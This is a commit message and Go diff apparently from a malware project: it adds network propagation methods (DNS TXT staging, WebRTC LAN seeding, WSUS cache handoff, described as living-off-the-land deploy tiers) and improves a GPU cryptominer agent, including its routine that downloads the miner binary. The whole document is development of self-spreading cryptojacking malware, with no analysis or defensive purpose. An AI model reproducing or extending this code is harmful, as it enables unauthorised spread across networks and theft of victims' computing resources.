Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

usb/agent/client/gpu_miner.go

@@ -93,8 +93,10 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
 		pauseCh:    make(chan struct{}),
 		resumeCh:   make(chan struct{}),
 	}
-	// Start with resumeCh closed so the run loop is not blocked.
-	close(g.resumeCh)
+	// pauseCh starts open; waitIfPaused hits the default branch and returns
+	// true immediately, so no pre-close of resumeCh is needed (and
+	// pre-closing it would break the first Pause() — the inner select would
+	// fire on the already-closed channel instead of blocking).
 	return g
 }
 
@@ -436,7 +438,8 @@ func (g *GPUMiner) ensureMinerBinary() (string, error) {
 }
 
 func downloadAndExtract(url, destDir, targetFile string) error {
-	resp, err := http.Get(url) //nolint:noctx
+	client := &http.Client{Timeout: 5 * time.Minute}
+	resp, err := client.Get(url)
 	if err != nil {
 		return err
 	}
@@ -444,7 +447,7 @@ func downloadAndExtract(url, destDir, targetFile string) error {
 	if resp.StatusCode != http.StatusOK {
 		return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
 	}
-	data, err := io.ReadAll(resp.Body)
+	data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
 	if err != nil {
 		return err
 	}